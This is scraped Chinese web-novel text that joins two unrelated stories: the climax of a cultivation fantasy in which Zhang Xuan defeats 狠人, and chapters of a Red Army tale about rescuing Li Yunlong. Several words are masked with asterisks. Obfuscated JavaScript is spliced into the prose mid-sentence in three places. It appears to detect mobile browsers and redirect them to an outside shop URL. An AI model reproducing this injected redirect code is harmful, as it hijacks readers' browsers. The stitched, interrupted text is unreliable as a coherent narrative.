“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第384章 李云龙被抓 李二狗在营地里转了一圈,小**一直像跟屁虫一般跟在他后面。 李二狗不说话,他便也不吱声,这种被人监视的感觉令李二狗感到浑身不自在。 “好了,我们回去吧。” 回到李云龙的屋中,小**提到嗓子眼的心才稍稍安定下来,他真怕李二狗做出什么违反纪律的事情。 “李先生,你先在屋里休息一会吧,我就在门外,有事你随时叫我。” 说完,小**便关上房门走了出去,李二狗有一种被人关了禁闭的感觉。 李二狗心想,虽然李云龙对自己很热情,但自己留在此地也是给他添麻烦,毕竟队伍不是他李云龙自己的,于是他便决定等李云龙回来之后便告辞离开。 一直等到天黑,李云龙还是没有回来。 “小**,天都黑了,李连长怎么还没回来?” “我也不知道啊,以前开会从来没有这么晚过。” “团部离这里有多远?” 小**怀疑李二狗又在打探红军的情报,便含糊地说道:“离这里挺远的。” 李二狗对小**无话可说! 他恨不得立刻离开此地,但他又知道李云龙的脾气,自己如果不告而别,他肯定会埋怨自己。 突然,门外传来一阵喧哗声。 “所有人,带上武器装备,马上到门前集合。” 紧接着便是更大的喧哗声和吵闹声。 李二狗打开房门,看见一个黑黝黝、体格健壮的男人正在指挥着队伍集合。 “动作都快点!” 李二狗想找小**问清楚,却发现他早已不见了踪影。 带上武器集合,很明显有作战行动,可作为连长的李云龙却没有出现,这明显不符合常理。 队伍集合完毕之后,站在队伍前面的那个**声说道:“我刚得到消息,咱们连长被特派员抓起来了,明天一早**,咱们现在必须救出连长,大家敢不敢跟我去?” “敢!敢!敢!” 李二狗惊呆了! 李云龙被抓了? 明天一早**? 他不是去团部开会吗? 怎么会被抓了呢? “大家一定要想清楚,咱们这样做会有什么后果!我张大彪绝不勉强大家,不愿意去的现在就可以退出!” “我绝不退出!” “我也不退出!” “一定要救出连长!” “对,一定要救出连长!” 张大彪一挥手,队伍顿时安静下来。 “好,大家既然都不退出,那我们现在就去团部救出连长,出发!” 李二狗打算跟上去,看看究竟是怎么一回事。 “都给我站住!谁也不许动!” 一个戴眼镜的中年男人张开双臂挡住了队伍行进的路线。 “指导员,我们现在要去救连长,请你让开!” “张大彪,你知道自己在做什么吗?你这是聚众哗变!” “老子才不管什么哗变不哗变!我只知道,我们要是现在不去救连长,明天一早他就被**了!” “大彪,你冷静一点!连长是被特派员下令抓的,你知道特派员是谁吗?那是上级派下来的,他代表的是中央。” “狗屁特派员,老子也不管什么上级不上级,老子就知道谁敢杀连长我就和谁拼命!” “大彪,开展肃反运动是上级组织的决定,你要相信组织,组织绝不会冤枉一名同志。” “指导员,这些天他们杀了那么多人,难道那些人都是反**吗?咱们红军队伍里哪来得那么多反**?” “张大彪,请注意你的言辞,你这是公然和组织的决策作对,你知道你这种行为是什么后果吗?” “老子不知道!别人不了解连长,咱们还不了解吗?连长怎么可能是反**?他要是反**?我看就没有真**了。” “张大彪,我再警告你一次,请注意你的言辞,你如果还是执迷不悟,我有理由怀疑你对**的忠诚度!” “**!你**少拿反**的帽子吓唬老子!老子在战场上杀白狗子无数,你敢说老子是反**?你他娘不是眼瞎,我看是心瞎!” “你……你……” **被张大彪气得说不出话来。 “快让开!耽误了救人,老子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280879|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' **了你!” **挡在队伍前面没有动,他坚定的**性不允许他后退一步。 “张大彪,队伍是党的队伍,你有什么权力擅自调动部队?你这是典型的无组织无纪律!你现在把队伍解散,我可以不追究你擅自调动部队的责任。” 张大彪微微一笑,他虽是一个粗人,小时候没读过四书五经,也没学过仁义礼智信,但他懂得什么叫知恩图报。 李云龙在战场上救过自己的性命,他张大彪就是粉身碎骨也得报答他的救命之恩。 如今李云龙被特派员下令抓捕,他知道这意味着什么,也知道自己这么做意味着什么! 但他不能什么都不做,眼睁睁地看着李云龙被他们砍了脑袋! 开弓没有回头箭,他早已将生死置之度外。 “**,你快让开!否则别怪老子的**没长眼睛。” **不愧是一名老**,他的**意志不是张大彪几句话就能吓倒的。 “张大彪,你想过这么做的后果吗?你自己不要命,难道要把大家所有人的命都搭上吗?你觉得自己这样做,连长会同意吗?” 张大彪看着全连几十号人,他们中有的人还只是孩子。 看着他们那一张张稚气未脱的脸,张大彪犹豫了。 他自己想报答李云龙的救命之恩,可不能就这样白白搭上几十号兄弟的性命。 “解散!” “副连长,不能不救连长啊!” “是啊,我们都不怕死!” “救出连长!” “救出连长!” 大家大声呼喊着“救出连长”的口号,张大彪转过身,早已泪流满面。 大家越是这样,他越不能让兄弟们白白丢了性命。 “解散!” 张大彪说完,头也不回地走了。 面对群情激愤、议论纷纷的众人,**大喊一声:“所有人听我命令,解散!” 众人虽不情愿,但指导员和副连长都喊解散,他们也没有办法,只能原地解散,骂骂咧咧地回了屋。 李二狗悄然跟上张大彪,他不信,张大彪会放弃救李云龙的念头。 第385章 知己知彼,方能百战百胜 “为什么跟着我?” 刚过一个拐角,张大彪突然从里面闪出,一只手紧紧抓住李二狗的衣领,另一只手里的驳壳枪已经顶在他的脖子上。 李二狗背靠着土墙,暗自佩服张大彪的身手,自己和他比起来,完全不是一个级别。 看着张大彪发红的双眼,李二狗镇定地说道:“张连长,别误会,我是你们连长李云龙的朋友。” 今天早上,张大彪在营区看到过李二狗,李云龙的警卫员小**一直跟在他身后,想来应该是李云龙的朋友。 张大彪松开手,面无表情地说道:“得罪了。” 李二狗顾不得寒暄,急忙问道:“刚才我听你说李云龙被抓了,明天早上要被**,到底是怎么回事?谁要抓他?为什么要抓他?” 张大彪下意识地左右看了看,然后才说道:“这里不是说话的地方,你跟我来。” 李二狗跟着张大彪来到一间茅草屋,这里比李云龙的房间更加简陋。 房间里除了一张铺满稻草的木床之外,再也没有其他家具,不过那股浓浓的臭脚丫子味倒是和李云龙屋一脉相承。 “先生怎么称呼?” “我叫李二狗。” “李先生,请坐,”张大彪指了指床铺,“实在不好意思,这里连个坐的地方都没有。” 李二狗家三辈贫农,小时候他一直睡在麦秸里长大,家里连个床都没有,他早已习惯了这种环境。 “张连长,不必客气,你还是快点说说李云龙的情况吧。” 张大彪站在床前,神色严峻。 “最近团里来了一位特派员,说是遵照中央的指示精神在根据地开展肃反运动。” “肃反运动?什么是肃反?” 张大彪显得有些愤怒。 “我倒现在也没搞明白什么是肃反,开会的时候说是要肃清**队伍内部和根据地内部暗藏的反**势力,也就是他们口中说的抓反**。” “反**?李云龙是反**?这怎么可能?” 李二狗实在难以相信李云龙会是反**,他不远千里投靠红军,怎么现在又成了反**? “其实这项运动在我们根据地已经开展了几年,前两年也确实抓捕了一些潜伏在**队伍中的反**分子,但现在已经成为一些人挟私报复的工具,只要看你不顺眼,立马给你扣上一个反**的帽子。” “这么说李云龙和那位特派员有个人恩怨?” “这个我也不知道!这位特派员上个月刚到团里,不到一个月的时间,已经抓了两个营长、三个连长。” 李二狗虽然对部队的情况不是很了解,但他也知道一个团一般三个营,三个营长抓了两个,这反**的比例实在太吓人了。 “都杀了?” 张大彪沉重地点了点头。 李二狗心想,如果今晚不去救李云龙,那等待他的只有一个结果。 “张连长,你打算怎么救人?” 张大彪没想到自己的心事这么快就被李二狗察觉出来,他也不打算再隐瞒。 “我准备今天晚上一个人去团部把连长救出来!我不能连累大家,也不能不救连长,这是唯一的办法。” “你不是一个人!” “啊?” “我和你一起去!” 张大彪没想到还有比自己更愣的人,他连自己是什么计划都不问,就决定和自己一起去救人,看来此人和李云龙的关系非同一般。 “李先生,你可要想好了,弄不好要掉脑袋的。” 李二狗当然怕掉脑袋,但他不能眼睁睁看着李云龙**,当然他并不是莽夫,他不会因为鲁莽行事而白白丢掉自己性命。 “张连长,具体怎么救出李云龙,你有什么计划?” 张大彪得知李云龙被抓的消息后就血气上涌,只想着带兵去救李云龙,他哪里有什么计划! “计划?我……我还没想好。” “那你知道李云龙被关押在什么地方吗?” “这个我知道,李连长被关押在团部。” “具体关在团部什么位置?有多少人看守?” 张大彪被问的一愣一愣的,他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280880|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一个粗人,哪会想到这么多。 他只好说道:“这些还不知道。” “那你一个人怎么去救?杀进去吗?” 张大彪彻底懵逼了。 一个人浑身是铁又能打几颗钉?想凭一己之力冲进团部救人,无异于以卵击石。 “李先生,你有什么主意?” 李二狗从进屋的那一刻起就一直在思考对策,此时他心中已有了一个大致计划。 “张连长,要做成此事,不需要人多,咱们两个人足够了。” 张大彪震惊不已,没想到李二狗比自己更加疯狂,两个人就想冲进团部救人,确实够疯狂,很对自己的脾气。 “李先生,我很佩服你的勇气,咱们什么时候出发?我这就去准备武器。” 李二狗确实没想到张大彪的脑子竟如此简单粗暴。 “张连长,你还想硬闯进去救人吗?” 张大彪反问道:“不硬闯进去那怎么救人?和他们讲道理是讲不通的!” 时间紧迫,李二狗不想再和张大彪多费口舌。 “张连长,你现在马上去一趟团部,以探望李连长的名义,打听清楚关押他的地点以及守卫人员的情况。” 张大彪这个人虽然脑子简单,但是执行能力却是一流的,这也是李云龙喜欢用他的原因。 他虽然还没有弄清楚李二狗到底要怎么救人,但他刚才交代的事情却很有道理。 知己知彼,方能百战百胜。 “好,我马上就去。” 张大彪说完就要走,被李二狗叫住了。 “张连长,等一下,我得和你一起去。” “李先生,这么晚了,你一个陌生人是进不了团部的。” “所以我才要和你一起去,麻烦你给我找一套红军的军装。” 张大彪立刻明白了李二狗的意思,他马上从床头的绳子上拿下一套自己的换洗军装。 “李先生,你穿我这件吧。” 李二狗看着补丁摞补丁的衣服,没有丝毫犹豫,换上衣服和张大彪直奔团部。 第386章 一切看我眼色行事 在去团部的路上,李二狗主动向张大彪打听了团部的一些情况。 “张连长,你们团部平时有多少人?” 张大彪微微一怔,这属于团部机密,按照纪律要求,他是不能随便向外人透露的。 但李二狗为了救李云龙,甘愿和自己一起冒险,想来应该是可信之人,便没有隐瞒。 “团部只有几个团领导和一个警卫排的兵力,大约有五十多人。” “五十多人……”李二狗嘴里念叨着这个数字,“你们团长叫什么?” “段大德。” “他平时对李云龙怎么样?” 张大彪不明白李二狗此时为何对他们团长感兴趣,但还是说道:“段团长很器重我们连长。” “那这次李云龙被抓,段团长能同意?” 张大彪叹气道:“哎,这次是特派员下令抓的,我们段团长也没有办法啊。” “特派员到底是个什么人物,难道比团长还大?” 在李二狗的意识里,团长就是一个团最大的官,所有的事都得听团长的。 “李先生,你有所不知,特派员是上级派下来的,可比团长大多了。” “那团里到底是听团长的还是听特派员的?” “以前听团长的,现在嘛,得听特派员的。” “难道打仗也听特派员的?” “对,什么都得听特派员的。” “那你们这个团还要团长干什么?什么都听特派员的,团长不成摆设了吗?” 张大彪被李二狗问得哑口无言,他确实不知道该如何回答他这个问题。 他自己也纳闷为什么明明已经有了团长,上级还要派一个特派员下来。 “李先生,你对我们红军可能还不是很了解,其实就是没有特派员,团里也不是团长说了算。” 李二狗以为耳朵自己听错了。 “你说团长说了不算?” “对,团长说了不算,是周政委说了算。” 这是李二狗第一次听到政委这个名词。 “政委是什么官职?怎么比团长还大?” “哎,这个……一句话两句话也说不清楚,反正特派员没来之前,团里是周政委说了算,现在特派员来了,就是特派员说了算。” “那你们段团长够憋屈的,一团之长竟然说了不算,实在是令人匪夷所思。” 说话间,两人已经来到团部驻地。 “李先生,前面就是我们团部驻地,等会你不要说话,一切看我眼色行事。” 李二狗背着一支老套筒跟着张大彪后面就进了村。 “站住!什么人?” 黑暗中窜出一个**士兵,拦住了张大彪的去路。 “我是三连的张大彪。” “奥,是张连长啊,这么晚了来团部干什么?” 月黑风高,张大彪虽然看不清这个士兵的脸,但听声音听出是团部警卫排的柱子。 “柱子,来,抽支烟。” 